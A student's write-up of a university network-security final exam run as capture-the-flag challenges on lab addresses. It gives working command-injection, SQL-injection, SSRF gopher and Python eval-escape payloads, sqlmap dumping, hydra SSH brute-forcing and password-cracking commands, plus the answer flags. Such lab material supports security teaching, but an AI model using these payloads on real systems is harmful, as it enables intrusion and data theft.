---
title: '112-1 NTUT網路與系統安全 期末考試'
disqus: hackmd
---

112-1 NTUT網路與系統安全 期末考試
===

# Table of Contents

[TOC]

# Final Exam

## Command Injection

http://192.168.240.109:10039/


### Command Injection Solution
Source Code

 <?php

if (isset($_GET['file'])) {
    $file = $_GET['file'];
    system("tar cvf /tmp/$file $file");
    echo "Your file /$file";
} else {
    highlight_file(__FILE__);
} 

> 根據Source Code 給出file query
> http://192.168.240.109:10039/?file


> http://192.168.240.109:10039/?file=%22;whoami


> http://192.168.240.109:10039/?file=";/readflag


### Get FLAG
**FlAG: flag{7a04951d-a174-4588-91fc-4ff1d05aebb2}**

## sqlmap

192.168.240.109:10018

### sqlmap Solution
> vaala/vaala

> http://192.168.240.109:10018/index.php?username=vaala&password=vaala

### sqlmap

> sqlmap -u "http://192.168.240.109:10018/index.php?username=vaala&password=vaala" --flush-session --random-agent --level 5 --batch --dbs


> sqlmap -u "192.168.240.109:10018/index.php?username=vaala&password=vaala" --batch --dbs -D vaalacat --tables


> sqlmap -u "192.168.240.109:10018/index.php?username=vaala&password=vaala" --batch --dbs -D vaalacat -T vaala --dump


LOGIN

### Get FLAG
**FlAG: jkladsfhjklfghjkfdghjk**

## pdfcrack
http://192.168.240.109:10090/

### pdfcrack Solution
> sudo apt install pdfcrack

> pdfcrack encryption_pdf.pdf



### Get FLAG
**FlAG: flag{ffa1c235-f3f2-426c-8b12-5b8f809b8244}**

## hashcat
192.168.240.109:10018

### hashcat Solution
> sudo zip2john encryption_zip.zip > zip.hash


encryption_zip.zip/flag:$pkzip2$1*2*2*0*37*2b*2033c5dc*0*3e*0*37*2033*19e9*d93e69e20b95b92b648704d2f71a2d1992e778ddb82ea147026ae713b0e5dd6fbbd34761f666c902ac5d3da68d72c7bbd5b5a619bcefb8*$/pkzip2$:flag:encryption_zip.zip::encryption_zip.zip

> sudo john zip.hash


password: 635438

### Get FLAG
**FlAG: flag{d898a3e4-00be-40d8-b56a-6b38e50f9000}**

## eval
\
192.168.240.109:10058
> nc 192.168.240.109 10058


### eval Solution
> hint


> eval(os.system('whoami'))

**代表Source Code 沒有import os 的module**

>eval("__ import__('os').system('whoami')")


[● eval to import a module](https://stackoverflow.com/questions/17136772/eval-to-import-a-module)

> eval("__ import__('os').system('cat /f*')")

### Get FLAG
**FlAG: flag{d77ea135-bca7-4ff9-be12-fbad9dd4ec8d}**

## zaproxy
192.168.240.109:10002

### zaproxy Solution

### Get FLAG
**FlAG: jquery-3.3.1.slim.min.js**

## nmap
http://192.168.240.145/

### nmap Solution
>nmap -sC -sV -T4 192.168.240.145

### Get FLAG
**FlAG: MySQL 5.0.51a-3ubuntu5**

## ssh-cracker
ssh://192.168.240.115

### ssh-cracker Solution
> hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://192.168.240.115

passowrd:11111111

> ssh admin@192.168.20.1


> sudo scp admin@192.168.240.115:/home/admin/ffflag/FileOne.bin /


> binwalk FileOne.bin


### Get FLAG
**FlAG: 0x7FE9E826**

## ssrf
192.168.240.109:10024

Source Code

 <?php

if(isset($_GET['url'])) {
    $url = $_GET['url'];

    if(filter_var($url, FILTER_VALIDATE_URL)) {
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        $result = curl_exec($ch);
        curl_close($ch);

        echo $result;
    } else {
        die("What are you doing?");
    }
} else {
    highlight_file(__FILE__);
} 

### ssrf Solution
http://192.168.240.109:10024/?url=/readflag

curl -v 192.168.240.109:10081/?url=gopher://127.0.0.1:8000/
200

/_GET /readflag HTTP/1.1
Host: 127.0.0.1
Content-Length: 14
Content-Type: application/x-www-form-urlencoded
Connection: close
http://192.168.240.109:10081/?url=gopher://127.0.0.1:8000%2F_GET%2520%2Freadflag%2520HTTP%2F1.1%250d%250aHost%3A%2520127.0.0.1%250d%250aContent-Length%3A%252014%250d%250aContent-Type%3A%2520application%2Fx-www-form-urlencoded%250d%250aConnection%3A%2520close%250d%250a%250d%250a

> 代表目錄錯誤

https://zhuanlan.zhihu.com/p/112055947

/_POST HTTP/1.1
Host: 127.0.0.1
Content-Length: 15
Content-Type: application/x-www-form-urlencoded
Connection: close
cmd=/readflag

URL encode 1次:
http://192.168.240.109:10028/?url=gopher://127.0.0.1:8000/_POST%20/%20HTTP/1.1%0D%0AHost:127.0.0.1%0D%0AContent-Length:%2014%0D%0AContent-Type:%20application%2Fx-www-form-urlencoded%20Connection:%20close%0D%0A%0D%0Acmd=/readflag%0D%0A

Double encode (HTTP 400):
http://192.168.240.109:10066/?url=gopher://127.0.0.1:8000/_POST%2520/%2520HTTP/1.1%250D%250AHost:127.0.0.1%250D%250AContent-Length:%252014%250D%250AContent-Type:%2520application%2Fx-www-form-urlencoded%2520Connection:%2520close%250D%250A%250D%250Acmd=/readflag%250D%250A
> Double encode
> 空白encode兩次、\r\n也encode兩次
> 其他不用encode
>
> **Content lengh 不對**

確認Content lengh長度

http://192.168.240.109:10066/?url=gopher://127.0.0.1:8000/_POST%2520/%2520HTTP/1.1%250D%250AHost:127.0.0.1%250D%250AContent-Length:%252013%250D%250AContent-Type:%2520application%2Fx-www-form-urlencoded%2520Connection:%2520close%250D%250A%250D%250Acmd=/readflag%250D%250A

### Get FLAG
**FlAG: flag{e26ab8e5-24d1-4634-ae00-3dc982afde0c}**

## sqli union
http://192.168.240.109:10006/

### sqli union Solution
Source Code

const express = require('express');
const sqlite3 = require('sqlite3');
const { open } = require('sqlite');
const crypto = require('crypto');
const bodyParser = require('body-parser');
const fs = require('fs');

const app = express();
const PORT = process.env.PORT || 80;
app.use(bodyParser.urlencoded({ extended: true }));

let db;

const filePath = '/flag';
let flag;
fs.readFile(filePath, 'utf8', (err, data) => {
    if (err) {
      console.error('Error reading file:', err);
      return;
    }

    // Store the value in the 'flag' variable
    flag = data;
    console.log('Flag:', flag);
});

async function getDB() {
    if (!db) {
        db = await open({
            filename: '/tmp/database.db',
            driver: sqlite3.Database
        });
        await db.exec(`
            CREATE TABLE IF NOT EXISTS admin (
                username TEXT NOT NULL,
                password TEXT NOT NULL
            )
        `);
        const countResult = await db.get('SELECT COUNT(*) as count FROM admin WHERE username="admin"');
        const count = countResult.count;
        if (count === 0) {
            const token = crypto.randomBytes(32).toString('hex');
            await db.run('INSERT INTO admin (username, password) VALUES (?, ?)', ['admin', token]);
        }
    }
    return db;
}

process.on('uncaughtException', (err) => {
    console.error('Uncaught Exception:', err);
    // You can add additional error handling logic here
})

app.use(async (req, res, next) => {
    req.db = await getDB();
    next();
});

app.get('/', (req, res) => {
    res.render('index.ejs', { failed: req.query.failed !== undefined });
});

app.post('/login', async (req, res) => {
    const username = req.body.username;
    const password = req.body.password;

    if (!username || !password) {
        return res.redirect('/?failed');
    }

    try{
    	const row = await req.db.get(`SELECT * FROM admin WHERE username='${username}'`);

    	if (row && row.username === 'admin' && row.password === password) {
            return res.send('FLAG: ' + flag);
    	}
    } catch(error) {
	console.log(error);
    }

    return res.redirect('/?failed');
});

app.get('/source', async (req, res) => {
    const fs = require('fs');
    // const re = /FLAG{.*}/;
    let sourceCode = fs.readFileSync(__filename, 'utf8');
    // sourceCode = sourceCode.replace(re, 'FLAG{not_real_flag}');
    res.set('Content-Type', 'text/plain');
    res.send(sourceCode);
});

app.listen(PORT, () => {
    console.log(`Server is running on port ${PORT}`);
});

xxxxx' ) union SELECT 'admin','`chw`' --
`chw` (X)

' UNION SELECT 1, username, password FROM admin -- (X)

admin' UNION SELECT null, password FROM admin-- (X)

admin' UNION ALL SELECT null, password FROM admin-- (X)

> chw' UNION SELECT 'admin','pwd' FROM admin where username='admin\
> pwd


### Get FLAG
**FlAG: flag{4f5c7927-a36b-4cb0-b64e-65977559eae6}**